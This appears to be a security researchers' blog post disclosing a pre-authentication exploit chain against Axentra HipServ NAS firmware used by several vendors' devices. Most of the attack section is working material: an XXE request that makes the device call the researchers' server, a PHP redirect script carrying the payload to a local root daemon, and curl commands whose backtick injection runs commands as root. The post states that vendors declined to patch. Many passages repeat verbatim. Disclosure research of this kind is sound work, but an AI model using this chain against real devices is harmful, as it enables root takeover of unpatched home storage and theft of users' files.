TL,DR; not a while ago, a couple friends and I decided we wanted to explore the current security state
of popular Network Attached Storage (NAS) devices. We decided to download a bunch of popular NAS firmwares and started looking into them.
The first one we picked up was called Axentra. While dissecting the firmware, it became clear to us the target is extremely widespread. many popular NAS hardware manufactures including NetGear, SeaGate and Meidon use the Axentra framework by default . This meant any preauth bug in Axentra is exploitable across multiple devices. Looking on shodan, almost ~2 million vulnerable devices can be found.
The first one we picked up was called Axentra. While dissecting the firmware, it became clear to us the target is extremely widespread. many popular NAS hardware manufactures including NetGear, SeaGate and Meidon use the Axentra framework by default . This meant any preauth bug in Axentra is exploitable across multiple devices. Looking on shodan, almost ~2 million vulnerable devices can be found.
This
is a prolonged post detailing how it was possible to craft an RCE exploit from
a tricky XXE and SSRF.
About Axentra.
Axentra Hipserv is a NAS OS that runs on multiple devices including NetGear Stora, SeaGate Home, Medion LifeCloud NAS and provides cloud-based login, file storage, and management functionalities for different devices. It's used in different devices from different vendors. The company provides a firmware with a web interface that mainly uses PHP as a backend. The web interface has a rest API endpoint and a pretty typical web management interface with file manager support.
Firmware Analysis.
After
extracting the firmware using binwalk, the backend source were located in /var/www/html/
with the webroot in /var/www/html/html. The main
handler for the web interface is homebase.php, and RESTAPIController.php
is the main handler for the rest API. All the php files were encoded using IONCube which has a public
decoder, and given the version used was an old one, decoding the files didn't
take long.
Once
the files were decoded we proceeded to look at the source code, most of it was
well written. During the initial analysis we looked at different configuration
files which we thought might come into play. One of them was php.ini located in
/etc which contained the configuration line 'register_globals=on', this was pretty
exciting as turning register_globals on is a very insecure configuration and
could lead to a plethora of vulnerabilities. But looking through the entire
source code, we could not find any chunk of code exploitable through this
method. The Axentra code as mentioned before was well written and variables
where properly initialized, used and carefully checked, so register_globals was
not going to work.
As we kept looking through
the source code and moved on to the REST-API endpoint things got a little more
interesting, the initial requests
are routed through RESTAPIController.phpwhich loads proper classes
from /var/www/html/classes/REST and the service classes were
in /var/www/html/classes/REST/services in individual folders. While
looking through the services most of them were properly authenticated, but
there were a few exceptions that were not, one of these was the request
aggregator endpoint located at /www/html/classes/REST/services/aggregator in
the filesystem and /api/2.0/rest/aggregator/xml from the web url.
We will look at how this service works and how we were able to exploit it.
The
first file in the directory was AxAggregatorRESTService.php. This file
defines and constructs the rest service. Files of the same structure exist in
every service directory with different names ending with the same RESTService.php
suffix. In this file there were interesting lines (shown below). Note that line
numbers might be inaccurate since the files were decoded and we didn't bother
to remove the header generated by the decoder (a block of comment at the
beginning of each file plus random breaks).
JUICE A: /var/www/html/classes/REST/services/aggregator/AxAggregatorRESTService.php
line 13: private
$requiresAuthenticatedHipServUser = false; //This shows the service does not require
authentication.
line 14: private $serviceName = 'aggregator'; //the service name..
...
line 17-18:
if (( count( $URIArray ) == 1 && $URIArray[0] == 'xml' )) { // If number of uri paths passed to the service is 1 and the first path to the service is xml
$resourceClassName = $this->loadResourceClass( 'XMLAggregator' ); // Load a resource class XMLAggregator
line 14: private $serviceName = 'aggregator'; //the service name..
...
line 17-18:
if (( count( $URIArray ) == 1 && $URIArray[0] == 'xml' )) { // If number of uri paths passed to the service is 1 and the first path to the service is xml
$resourceClassName = $this->loadResourceClass( 'XMLAggregator' ); // Load a resource class XMLAggregator
The
code on line 18 calls a function called loadResourceClass with is
provided by axentras RESTAPI framework and loads a resource (service handler) class/file from the current rest
services directory after adding the appropriate prefix (Ax) and suffix
(RESTResource.php). The code for this function is shown below.
classes/REST/AxAbstractRESTService.php
line 25-30:
function loadResourceClass($resourceName) {
$resourceClassName = 'Ax' . $this->resourcesClassNamePrefix . ucfirst( $resourceName ) . 'RESTResource';
require_once( REST_SERVICES_DIR . $this->serviceName . '/' . $resourceClassName . '.php' );
return $resourceClassName;
}
}
function loadResourceClass($resourceName) {
$resourceClassName = 'Ax' . $this->resourcesClassNamePrefix . ucfirst( $resourceName ) . 'RESTResource';
require_once( REST_SERVICES_DIR . $this->serviceName . '/' . $resourceClassName . '.php' );
return $resourceClassName;
}
}
The
next file we had to look at was AxXMLAggregatorRESTResource.php which is
loaded and executed by the REST framework. This file defines the functionality of the REST API endpoint,
inside of it is where our first bug was found (XXE). Let's take a look at the
code.
/var/www/html/classes/REST/services/aggregator/AxXMLAggregatorRESTResource.php
line 14:
DOMDocument $mDoc = new DOMDocument(); //Intialize a DOMDocument loader class
line 16:
if (( ( ( $requestBody == '' || !$mDoc->loadXML( $requestBody, LIBXML_NOBLANKS ) ) || !$mRequestsNode = $mDoc->documentElement ) || $mRequestsNode->nodeName != 'requests' )) {
AxRecoverableErrorException;
throw new ( null, 3 );
}
DOMDocument $mDoc = new DOMDocument(); //Intialize a DOMDocument loader class
line 16:
if (( ( ( $requestBody == '' || !$mDoc->loadXML( $requestBody, LIBXML_NOBLANKS ) ) || !$mRequestsNode = $mDoc->documentElement ) || $mRequestsNode->nodeName != 'requests' )) {
AxRecoverableErrorException;
throw new ( null, 3 );
}
Now
as you can see on the 16th line this file loads xml from the user without
validation. Now most php programmers and security researchers would argue this
is not vulnerable since external entity loading is disabled in libxml by
default and since our code has not called
libxml_disable_entity_loader(false), but one thing to note here is the Axentra
firmware uses the libxml library to parse xml data, and libxml started
disabling external entity loading by default starting from libxml2 version 2.9
but Axentras firmware has version 2.6 which does not have external entity
loading disabled by default, and this leads to an XXE attack, the following
request was used to test the XXE.
curl
command with output:
Command:
curl -kd '<?xml version="1.0"?><!DOCTYPE requests [
<!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM
"http://SolarSystem:9091/XXE_CHECK"> %dtd; ]> <requests>
<request href="/api/2.0/rest/3rdparty/facebook/"
method="GET"></request> </requests>' http://axentra.local/api/2.0/rest/aggregator/xml
Output:
<?xml
version="1.0"?>
<responses>
<response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
<errors><error code="401" msg="Unauthorized"/></errors>
</response>
</responses>%
<responses>
<response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
<errors><error code="401" msg="Unauthorized"/></errors>
</response>
</responses>%
which
produced the following on out listening server:
root@Server:~#
nc -lvk 9091
Listening on [0.0.0.0] (family 0, port 9091)
Connection from [axentra.local] port 9091 [tcp/*] accepted (family 2, sport 41528)
GET /XXE_CHECK HTTP/1.0
Host: SolarSystem:9091
^C
root@Server:~#
Listening on [0.0.0.0] (family 0, port 9091)
Connection from [axentra.local] port 9091 [tcp/*] accepted (family 2, sport 41528)
GET /XXE_CHECK HTTP/1.0
Host: SolarSystem:9091
^C
root@Server:~#
Now
that we had XXE working, we could try and read files and try to dig out
sensitive info, but ultimately we wanted full remote control. The first thought was to extract the sqlite database
containing all usernames and passwords, but this turned out to be a no go since
xxe and binary data don't work so well together, even encoding the data using
php filters would not work. And since this method would have required another
RCE in the webinterface to take full control of the device, we thought of
trying something new.
Since
we could make a request from the device (SSRF), we tried to locate endpoints
that bypass authentication if the request came from localhost (very common
issue/feature?). However, we could not find any good ones and so we moved into
the internals of the NAS system specifically how the system executes commands
as root (privileged actions). Now this might have not been something to look at
if the user-id the web server is using had some sort of sudo privilege, but this
was not the case. And since we saw this during our initial overlook of the
firmware we knew there was another way the system was executing commands. After
a few minutes of searching we found a daemon that the system used to execute
commands and found php scripts that communicate with this daemon. We will look
at the details below.
The
requests to this daemon are sent using xml format and the file is located in /var/www/html/classes/AxServerProxy.php,
which calls a function named systemProxyRequest
to send the requests. The systemProxyRequest is located in the same file
and the code is given below.
/var/www/html/classes/AxServerProxy.php:
line 1564-1688:
function systemProxyRequest($command, $operation, $params = array( ), $reqData = '') {
$Proc = true;
$host = '127.0.0.1';
$port = 2000;
$fp = fsockopen( $host, $port, $errno, $errstr );
if (!$fp) {
AxRecoverableErrorException;
throw new ( 'Could not connect to sp server', 4 );
}
if ($Proc) {
unset( $root );
DOMDocument;
$doc = new ( '1.0' );
$root = $doc->createElement( 'proxy_request' );
$cmdNode = $doc->createElement( 'command_name' );
$cmdNode->appendChild( $doc->createTextNode( $command ) );
$root->appendChild( $cmdNode );
$opNode = $doc->createElement( 'operation_name' );
$opNode->appendChild( $doc->createTextNode( $operation ) );
$root->appendChild( $opNode );
…
if ($reqData[0] == '<') {
if (substr( $reqData, 0, 5 ) == '<?xml') {
$reqData = preg_replace( '/<\?xml.*?\?>/', '', $reqData );
}
DOMDocument;
$reqDoc = new ( );
$reqData = str_replace( '', '', $reqData );
$reqDoc->loadXML( $reqData );
$mNewNode = $doc->importNode( $reqDoc->documentElement, true);
$dNode->appendChild( $mNewNode );
}
….
$root->appendChild( $dNode );
}
if ($root) {
$doc->appendChild( $root );
fputs( $fp, $doc->saveXML( ) . '' );
}
$Resp = '';
stream_set_timeout( $fp, 120 );
while (!feof( $fp )) {
$Resp .= fread( $fp, 1024 );
$info = stream_get_meta_data( $fp );
if ($info['timed_out']) {
return array( 'return_code' => 'FAILURE', 'description' => 'System Proxy Timeout', 'error_code' => 4, 'return_message' => '', 'return_value' => '' );
}
}
function systemProxyRequest($command, $operation, $params = array( ), $reqData = '') {
$Proc = true;
$host = '127.0.0.1';
$port = 2000;
$fp = fsockopen( $host, $port, $errno, $errstr );
if (!$fp) {
AxRecoverableErrorException;
throw new ( 'Could not connect to sp server', 4 );
}
if ($Proc) {
unset( $root );
DOMDocument;
$doc = new ( '1.0' );
$root = $doc->createElement( 'proxy_request' );
$cmdNode = $doc->createElement( 'command_name' );
$cmdNode->appendChild( $doc->createTextNode( $command ) );
$root->appendChild( $cmdNode );
$opNode = $doc->createElement( 'operation_name' );
$opNode->appendChild( $doc->createTextNode( $operation ) );
$root->appendChild( $opNode );
…
if ($reqData[0] == '<') {
if (substr( $reqData, 0, 5 ) == '<?xml') {
$reqData = preg_replace( '/<\?xml.*?\?>/', '', $reqData );
}
DOMDocument;
$reqDoc = new ( );
$reqData = str_replace( '', '', $reqData );
$reqDoc->loadXML( $reqData );
$mNewNode = $doc->importNode( $reqDoc->documentElement, true);
$dNode->appendChild( $mNewNode );
}
….
$root->appendChild( $dNode );
}
if ($root) {
$doc->appendChild( $root );
fputs( $fp, $doc->saveXML( ) . '' );
}
$Resp = '';
stream_set_timeout( $fp, 120 );
while (!feof( $fp )) {
$Resp .= fread( $fp, 1024 );
$info = stream_get_meta_data( $fp );
if ($info['timed_out']) {
return array( 'return_code' => 'FAILURE', 'description' => 'System Proxy Timeout', 'error_code' => 4, 'return_message' => '', 'return_value' => '' );
}
}
As
clearly seen above the function takes xml data and cleans out a few things like
spaces and sends it to the daemon listening on port 2000 of the local machine.
The daemon is located at /sbin/oe-spd and is a binary file, so we looked into
it using IDA, the following pieces of code were generated by the Hex-Rays
decompiler in IDA.
in
function sub_A810:
This
function receives the data from the socket as an argument (a2) and parses it.
JUICE B:
signed int __fastcall sub_A810(int a1, const
char **a2) line 52:
v10 = strstr(*v3, "<?xml version=\"1.0\"?>"); // strstr skips over junk data until requested string is found (<?xml version=1.0 ?>)
v10 = strstr(*v3, "<?xml version=\"1.0\"?>"); // strstr skips over junk data until requested string is found (<?xml version=1.0 ?>)
The
line above is important to us mainly because the request is sent through the
HTTP protocol so the daemons "feature" to skip over the junk data
allows us to embed our payload in an http request to http://127.0.0.1:2000 (the
daemons port) without worrying about formatting or the daemon bailing because
of unknown characters; it does the same thing with junk data after the xml too.
Now,
we skipped over looking into how the whole oe-spd daemon code works,
mainly because we had our sights set on finding and exploiting a simple RCE bug, and we had all we
need to test out a few ways we could go about achieving that, we had the format
of the messages from AxServerProxy.php and some from usr/lib/spd/scripts/.
The method we used to find the RCE was sending the request through curl, and
tracing the process with strace while running in a qemu environment, this
helped us filter out execve calls with the right parameters to use as a
payload. As a note there were A LOT of vulnerable functions in this daemon, but
in the following we only show the one we used to achieve RCE. The interested
one's among you can explore the daemon using the hints we gave above.
curl
command and response:
curl
-vd '<?xml
version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter
parameter_name="disk">BOGUS_DEVICE</parameter></proxy_request>'
http://127.0.0.1:2000/
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 2000 (#0)
> POST / HTTP/1.1
> Host: 127.0.0.1:2000
> User-Agent: curl/7.61.1
> Accept: */*
> Content-Length: 179
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 179 out of 179 bytes
<?xml version="1.0"?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code="SUCCESS" description="Operation successful" />
</proxy_return>
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 2000 (#0)
> POST / HTTP/1.1
> Host: 127.0.0.1:2000
> User-Agent: curl/7.61.1
> Accept: */*
> Content-Length: 179
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 179 out of 179 bytes
<?xml version="1.0"?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code="SUCCESS" description="Operation successful" />
</proxy_return>
strace
command and output
sudo
strace -f -s 10000000 -q -p 2468 -e execve
[pid 2510] execve("/usr/lib/spd/usb", ["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
[pid 2511] +++ exited with 0 +++
[pid 2510] <... execve resumed> ) = 0
[pid 2513] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/BOGUS_DEVICE manual"], 0x62c67f10 /* 22 vars */ <unfinished ...>
[pid 2514] +++ exited with 0 +++
[pid 2513] <... execve resumed> ) = 0
[pid 2513] execve("/usr/lib/spd/scripts/usb/usbremoveall", ["/usr/lib/spd/scripts/usb/usbremoveall", "/dev/BOGUS_DEVICE", "manual"], 0x62a65800 /* 22 vars */ <unfinished ...>
[pid 2515] +++ exited with 0 +++
[pid 2513] <... execve resumed> ) = 0
[pid 2517] execve("/bin/sh", ["sh", "-c", "grep /dev/BOGUS_DEVICE /etc/mtab"], 0x63837f80 /* 22 vars */ <unfinished ...>
[pid 2518] +++ exited with 0 +++
[pid 2517] <... execve resumed> ) = 0
[pid 2517] execve("/bin/grep", ["grep", "/dev/BOGUS_DEVICE", "/etc/mtab"], 0x64894000 /* 22 vars */ <unfinished ...>
[pid 2519] +++ exited with 0 +++
[pid 2517] <... execve resumed> ) = 0
[pid 2520] +++ exited with 1 +++
[pid 2517] +++ exited with 1 +++
[pid 2513] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2517, si_uid=0, si_status=1, si_utime=4, si_stime=3} ---
[pid 2516] +++ exited with 1 +++
[pid 2513] +++ exited with 1 +++
[pid 2510] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2513, si_uid=0, si_status=1, si_utime=16, si_stime=6} ---
[pid 2512] +++ exited with 0 +++
[pid 2510] +++ exited with 0 +++
[pid 2508] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2510, si_uid=0, si_status=0, si_utime=4, si_stime=1} ---
[pid 2509] +++ exited with 1 +++
[pid 2508] +++ exited with 1 +++
[pid 2510] execve("/usr/lib/spd/usb", ["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
[pid 2511] +++ exited with 0 +++
[pid 2510] <... execve resumed> ) = 0
[pid 2513] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/BOGUS_DEVICE manual"], 0x62c67f10 /* 22 vars */ <unfinished ...>
[pid 2514] +++ exited with 0 +++
[pid 2513] <... execve resumed> ) = 0
[pid 2513] execve("/usr/lib/spd/scripts/usb/usbremoveall", ["/usr/lib/spd/scripts/usb/usbremoveall", "/dev/BOGUS_DEVICE", "manual"], 0x62a65800 /* 22 vars */ <unfinished ...>
[pid 2515] +++ exited with 0 +++
[pid 2513] <... execve resumed> ) = 0
[pid 2517] execve("/bin/sh", ["sh", "-c", "grep /dev/BOGUS_DEVICE /etc/mtab"], 0x63837f80 /* 22 vars */ <unfinished ...>
[pid 2518] +++ exited with 0 +++
[pid 2517] <... execve resumed> ) = 0
[pid 2517] execve("/bin/grep", ["grep", "/dev/BOGUS_DEVICE", "/etc/mtab"], 0x64894000 /* 22 vars */ <unfinished ...>
[pid 2519] +++ exited with 0 +++
[pid 2517] <... execve resumed> ) = 0
[pid 2520] +++ exited with 1 +++
[pid 2517] +++ exited with 1 +++
[pid 2513] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2517, si_uid=0, si_status=1, si_utime=4, si_stime=3} ---
[pid 2516] +++ exited with 1 +++
[pid 2513] +++ exited with 1 +++
[pid 2510] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2513, si_uid=0, si_status=1, si_utime=16, si_stime=6} ---
[pid 2512] +++ exited with 0 +++
[pid 2510] +++ exited with 0 +++
[pid 2508] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2510, si_uid=0, si_status=0, si_utime=4, si_stime=1} ---
[pid 2509] +++ exited with 1 +++
[pid 2508] +++ exited with 1 +++
the
command execution bug should be clearly visible here, but in case you missed
it, the 4th line in the strace output shows out input (BOGUS_DEVICE)
being passed to a /bin/sh call, now we send a test injection to see if our
command execution works.
curl
command and output:
curl
-vd '<?xml
version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter
parameter_name="disk">`echo
pwnEd`</parameter></proxy_request>' http://127.0.0.1:2000/
<?xml
version="1.0"?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code="SUCCESS" description="Operation successful" />
</proxy_return>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code="SUCCESS" description="Operation successful" />
</proxy_return>
Strace
output:
[pid
2550] execve("/usr/lib/spd/usb",
["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
[pid 2551] +++ exited with 0 +++
[pid 2550] <... execve resumed> ) = 0
[pid 2553] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/`echo pwnEd` manual"], 0x6291cf10 /* 22 vars */ <unfinished ...>
…
[pid 2551] +++ exited with 0 +++
[pid 2550] <... execve resumed> ) = 0
[pid 2553] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/`echo pwnEd` manual"], 0x6291cf10 /* 22 vars */ <unfinished ...>
…
If
you take a close look of the output, it can be seen that "echo
pwnEd" command we gave in backticks has been evaluated and the output
is being used as a part of a later command. To make this PoC simpler, we just
write a file in /tmp and see if it exists in the device.
curl
-vd '<?xml
version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter
parameter_name="disk">dev_`id>/tmp/pwned`</parameter></proxy_request>'
http://127.0.0.1:2000/
…
…
Now
we have complete command execution. In order to chain this bug with our XXE and
SSRF we have to make the xml parser send a request to http://127.0.0.1:2000/ with the payload. Although
sending a normal http request to the daemon was not a problem, things fell apart
when we tried to append the payload as a url location in the xml file, the
parser failed with an error (Invalid Url) so we had to change our approach.
After a few failed attempts we figured out the libxml http client correctly
follows 301/2 redirections and this does not make the parser fail since the url
given in the redirection does not pass through the same parser as the initial
url in the xml data, so we created a little php script to redirect the libxml
http client to http://127.0.0.1:2000/ with the payload embedded as a url path.
The script is shown below.
redir.php:
<?php
if(isset($_GET['red']))
{
header('Location: http://127.0.0.1:2000/a.php?d=<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>""'); //302 Redirect
if(isset($_GET['red']))
{
header('Location: http://127.0.0.1:2000/a.php?d=<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>""'); //302 Redirect
}
?>
?>
Then
we ran this on our server the commands we used and the final
output
is given below.
curl
command and output:
curl
-kd '<?xml version="1.0"?><!DOCTYPE requests [ <!ELEMENT
request (#PCDATA)> <!ENTITY % dtd SYSTEM
"http://SolarSystem:9091/redir.php?red=1"> %dtd; ]>
<requests> <request href="/api/2.0/rest/3rdparty/facebook/"
method="GET"></request> </requests>'
http://axentra.local/api/2.0/rest/aggregator/xml
<?xml version="1.0"?>
<responses>
<response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
<errors><error code="401" msg="Unauthorized"/></errors>
</response>
</responses>%
<?xml version="1.0"?>
<responses>
<response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
<errors><error code="401" msg="Unauthorized"/></errors>
</response>
</responses>%
root@Server:~#
php -S 0.0.0.0:9091
PHP 7.0.32-0ubuntu0.16.04.1 Development Server started at Thu Nov 1 16:02:16 2018
Listening on http://0.0.0.0:9091
Document root is /root/...
Press Ctrl-C to quit.
[Thu Nov 1 16:02:43 2018] axentra.local:39248 [302]: /redir.php?red=1
PHP 7.0.32-0ubuntu0.16.04.1 Development Server started at Thu Nov 1 16:02:16 2018
Listening on http://0.0.0.0:9091
Document root is /root/...
Press Ctrl-C to quit.
[Thu Nov 1 16:02:43 2018] axentra.local:39248 [302]: /redir.php?red=1
As seen above the php script sent a 302 (Found) response to the libxml http
client which should redirect it to http://127.0.0.1:2000/a.php?d=<?xml
version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter
parameter_name="disk">a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>""
The
above redirection should execute our command injection and create a pwned.txt
file in the webroot with the output of id, the following request checks the
output and existence of the file.
curl
command and output:
curl -k http://axentra.local/pwned.txt
uid=0(root) gid=0(root)
uid=0(root) gid=0(root)
Yay!
our pwned.txt has been created and the exploit was successful. We have a video
demo showing the full exploit chain from XXE to SSRF to RCE being used to create a reverse root shell. I would like to thank WSP and SD for encouraging this research.
Timeline
This
research was the basis of us looking into more NAS devices, like WD MyBook and
discovering multiple root RCE vulnerabilities that ultimately impacted
millions of devices. The full research is published on WizCase blog here. Unfortunately, Axentra, most of the affected
vendors, and even WD, chose not to respond. Some NAS have responded saying there will NOT
BE any patches for the vulnerabilities because Axentra is unreachable.